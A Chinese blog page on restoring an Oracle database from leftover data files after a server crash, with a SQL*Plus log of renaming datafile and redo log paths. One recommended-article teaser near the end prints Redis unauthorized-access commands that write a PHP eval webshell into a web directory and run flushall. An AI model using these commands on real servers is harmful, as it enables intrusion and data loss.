服务器崩了只剩下数据文件恢复oracle数据库_oracle 服务器坏了,怎么还原数据_cqwuliu的博客-程序员宅基地

技术标签: 数据库知识  oracle  服务器  数据库  

一、必须安装相同版本号的数据库。
二、最好app的路径也为相同的盘符。
三、安装完毕以后命令停止数据库,shutdown immediate 并查看服务里面是否也是停止状态,将服务里面oracle开头的服务全部停止。
四、将崩之前的app下的数据文件直接覆盖替换新安装的文件。
五、启动服务,看是否能登陆进入用户并查询是否有以前的用户(如果能登陆成功)。
六、如果不能正常启动,用自己服务器的init.ora配置文件启动,路径app\Administrator\admin\orcl\pfile
教程如下;

如还有其他未知错误百度后,欢迎留言,谢谢!!!

startup pfile=E:\app\Administrator\admin\orcl\pfile\init.ora.119202117224 open;
alter database rename file 'F:\app\Administrator\oradata\orcl\SYSTEM01.DBF' to 'E:\app\Administrator\oradata\orcl\SYSTEM01.DBF';
shutdown;
--修改数据文件位置
 alter database rename file 'F:\app\Administrator\oradata\orcl\CSRAWDATA.DBF' to  'E:\app\Administrator\oradata\orcl\CSRAWDATA.DBF'  ;                                
--修改日志文件位置								   
 alter database rename file 'F:\app\Administrator\oradata\orcl\REDO01.LOG' to    'E:\app\Administrator\oradata\orcl\REDO01.LOG'   ;

 
 
 Microsoft Windows [版本 6.1.7601]
版权所有 (c) 2009 Microsoft Corporation。保留所有权利。

C:\Users\Administrator>sqlplus/nolog

SQL*Plus: Release 12.1.0.2.0 Production on 星期六 1030 13:40:03 2021

Copyright (c) 1982, 2014, Oracle.  All rights reserved.

SQL> conn/as sysdba
已连接。
SQL> shutdown immediate
ORA-01507: ??????


ORACLE 例程已经关闭。
SQL> startup pfile=E:\app\Administrator\admin\orcl\pfile\init.ora.119202117224 open;
ORACLE 例程已经启动。

Total System Global Area 3858759680 bytes
Fixed Size                  3839056 bytes
Variable Size             922749872 bytes
Database Buffers         2919235584 bytes
Redo Buffers               12935168 bytes
数据库装载完毕。
ORA-01157: 无法标识/锁定数据文件 1 - 请参阅 DBWR 跟踪文件
ORA-01110: 数据文件 1: 'F:\APP\ADMINISTRATOR\ORADATA\ORCL\SYSTEM01.DBF'

SQL> alter database rename file 'F:\app\Administrator\oradata\orcl\SYSTEM01.DBF'   to 'E:\app\Administrator\oradata\orcl\SYSTEM01.DBF';

数据库已更改。

SQL> startup
ORA-01081: 无法启动已在运行的 ORACLE - 请先将其关闭
SQL> shutdown immediate
ORA-01109: 数据库未打开

已经卸载数据库。
ORACLE 例程已经关闭。
SQL> startup mount
ORACLE 例程已经启动。

Total System Global Area 3858759680 bytes
Fixed Size                  3839056 bytes
Variable Size             922749872 bytes
Database Buffers         2919235584 bytes
Redo Buffers               12935168 bytes
ORA-00205: ?????????, ??????, ???????

SQL> shutodwn immediate
SP2-0734: 未知的命令开头 "shutodwn i..." - 忽略了剩余的行。
SQL> shutdown immediate
ORA-01507: ??????

ORACLE 例程已经关闭。
SQL> startup pfile=E:\app\Administrator\admin\orcl\pfile\init.ora.119202117224 open;
ORACLE 例程已经启动。

Total System Global Area 3858759680 bytes
Fixed Size                  3839056 bytes
Variable Size             922749872 bytes
Database Buffers         2919235584 bytes
Redo Buffers               12935168 bytes
数据库装载完毕。
ORA-01157: 无法标识/锁定数据文件 3 - 请参阅 DBWR 跟踪文件
ORA-01110: 数据文件 3: 'F:\APP\ADMINISTRATOR\ORADATA\ORCL\SYSAUX01.DBF'

SQL> alter database rename file 'F:\app\Administrator\oradata\orcl\SYSAUX01.DBF'   to 'E:\app\Administrator\oradata\orcl\SYSAUX01.DBF';
数据库已更改。

SQL> startup pfile=E:\app\Administrator\admin\orcl\pfile\init.ora.119202117224 open;
ORA-01081: 无法启动已在运行的 ORACLE - 请先将其关闭
SQL> shutdown
ORA-01109: 数据库未打开

已经卸载数据库。
ORACLE 例程已经关闭。
SQL> startup pfile=E:\app\Administrator\admin\orcl\pfile\init.ora.119202117224 open;
ORACLE 例程已经启动。

Total System Global Area 3858759680 bytes
Fixed Size                  3839056 bytes
Variable Size             922749872 bytes
Database Buffers         2919235584 bytes
Redo Buffers               12935168 bytes
数据库装载完毕。
ORA-01157: 无法标识/锁定数据文件 5 - 请参阅 DBWR 跟踪文件
ORA-01110: 数据文件 5: 'F:\APP\ADMINISTRATOR\ORADATA\ORCL\UNDOTBS01.DBF'

SQL> alter database rename file 'F:\app\Administrator\oradata\orcl\CSRAWDATA.DBF' to  'E:\app\Administrator\oradata\orcl\CSRAWDATA.DBF'  ;
数据库已更改。

SQL>  create spfile from pfile='E:\app\Administrator\admin\orcl\pfile\init.ora.119202117224';
文件已创建。

SQL> shutdown
ORA-01109: 数据库未打开
已经卸载数据库。
ORACLE 例程已经关闭。
SQL> startup
ORACLE 例程已经启动。

Total System Global Area 3858759680 bytes
Fixed Size                  3839056 bytes
Variable Size             922749872 bytes
Database Buffers         2919235584 bytes
Redo Buffers               12935168 bytes
数据库装载完毕。
ORA-00313: 无法打开日志组 2 (用于线程 1) 的成员
ORA-00312: 联机日志 2 线程 1: 'F:\APP\ADMINISTRATOR\ORADATA\ORCL\REDO02.LOG'
ORA-27041: 无法打开文件
OSD-04002: 无法打开文件
O/S-Error: (OS 3) 系统找不到指定的路径。

SQL> alter database rename file 'F:\app\Administrator\oradata\orcl\REDO01.LOG' to    'E:\app\Administrator\oradata\orcl\REDO01.LOG'   ;
数据库已更改。

SQL>  alter database rename file 'F:\app\Administrator\oradata\orcl\REDO03.LOG'   to    'E:\app\Administrator\oradata\orcl\REDO03.LOG'   ;
数据库已更改。

SQL> shutdown
ORA-01109: 数据库未打开

已经卸载数据库。
ORACLE 例程已经关闭。
SQL> STARTUP
ORACLE 例程已经启动。

Total System Global Area 3858759680 bytes
Fixed Size                  3839056 bytes
Variable Size             922749872 bytes
Database Buffers         2919235584 bytes
Redo Buffers               12935168 bytes
数据库装载完毕。
数据库已经打开。

 
 
 
 
 
版权声明:本文为博主原创文章,遵循 CC 4.0 BY-SA 版权协议,转载请附上原文出处链接和本声明。
本文链接:https://blog.csdn.net/weixin_44873668/article/details/121245382

智能推荐

几种常用的聚类算法及评价方法——2022.4_dpc时间序列聚类_root-cause的博客-程序员宅基地

本文分析了Kmeans、Kmedoids、Cure、Birch、DBSCAN、OPTICS、Clique、DPC算法。 除了Birch聚类算法的python算法调用了sklearn.cluster里的Birch函数,没有未搜到Clique聚类的matlab版本的算法。其余算法pyt..._dpc时间序列聚类

加密解密-程序员宅基地

Secret.csusing System;using System.Security.Cryptography;using System.IO;using System.Text; /// ///数据加密、解密,文件的加密解密 /// public class Secret{ public Secret() { // // TODO: 在此处添加构造函数逻辑

网络爬虫 - 2 数据爬取的请求方式与解析-程序员宅基地

详情见代码 序号3-12 参见github:https://github.com/handabo/web-spider1、urllib.parse : 处理参数或者urlurllib.parse.quote(): url编码, (除了字母、数字、下划线、冒号 // ? =等)urllib.parse.unquote(): url解码, urllib.parse.urle...

在电脑上怎么做报表新手_自己怎样在电脑上制作表格-程序员宅基地

用office或金山办公软件均可完成你的要求,记得要在打印页面设置里设置好你的纸张规格啊,否则打印不出来效果www.51dongshi.com防采集。用EXCEL或WPS都能制作表格,并且对表中的数据进行统计计算等。1.打开WPS Office 点击新建空白文档使用办公软件Microsoft Excel 非常简单2.在左上角点击插入 选择下方的表格右键点击电脑桌面选择 新建-mircosoft e..._报表制作教程

随便推点

Matlab2014a中文帮助文档设置方法-程序员宅基地

Matlab2014a中文帮助文档设置方法 http://tieba.baidu.com/p/2979969077现在打开预设选项 点击帮助 连接internet 简体中文_matlab2014a中文帮助文档

@EnableEurekaServer 引入依赖仍无法使用_无法访问org.springframework.cloud.netflix.eureka.serve-程序员宅基地

原因:springboot 和springcloud版本冲突解决方法:第一步:加入Eureka版本管理: <dependencyManagement> <dependencies> <dependency> <groupId>org.springframework.cloud</groupId> <artifactId>_无法访问org.springframework.cloud.netflix.eureka.server.enableeurekaserver

IOS手势识别-UIGestureRecongnizer(swift)-程序员宅基地

一、代码添加手势识别步骤:1.建立和设置手势识别器实例,设置target、action和制定一些属性; var gester1 = UITapGestureRecognizer(target: self, action: "myImageViewClicked")2.附加识别器到视图; self.myImageView.addGestureRecognizer(g

Redis主从复制_redis主从复制getshell-程序员宅基地

Redis主从复制未授权访问版本3.2之前都是绑定0.0.0.0:6379所以暴露在公网3.2之后绑定127.0.0.1相对安全,但是还是无密码可以利用ssrf进行利用(gopher,dict)利用注意flushall危险操作,会清空所有缓存数据。通用写入webshellflushallset x '<?php eval($_GET["Q"]);?>'config set dir /var/www/html/uploadconfig set dbfilename tes_redis主从复制getshell

redis系列之数据库与缓存数据一致性解决方案-程序员宅基地

redis系列之数据库与缓存数据一致性解决方案 -- 来自中华石杉老师视频数据库与缓存读写模式策略写完数据库后是否需要马上更新缓存还是直接删除缓存?(1)、如果写数据库的值与更新到缓存值是一样的,不需要经过任何的计算,可以...

ESP32-IDF开发实例-自定义组件_esp idf components-程序员宅基地

自定义组件组件(components)是ESP-IDF的核心,它将各项功能组件化,方便项目管理。ESP-IDF使用CMake、ninja和python作为工程构建工具,支持用户自定义组件。在ESP-IDF中,自定义组件主要由如下几种文件组成:CMakeLists.txt文件:必要,用于组件代码组织component.mk文件:必须,用于指定组件代码如何编译,比如定义编译参数等Kconfig文件:非必要,用于可视化配置组件本次实例将具体演示在ESP-IDF中,如何定义组件、可视化配置。第一_esp idf components

推荐文章

热门文章

相关标签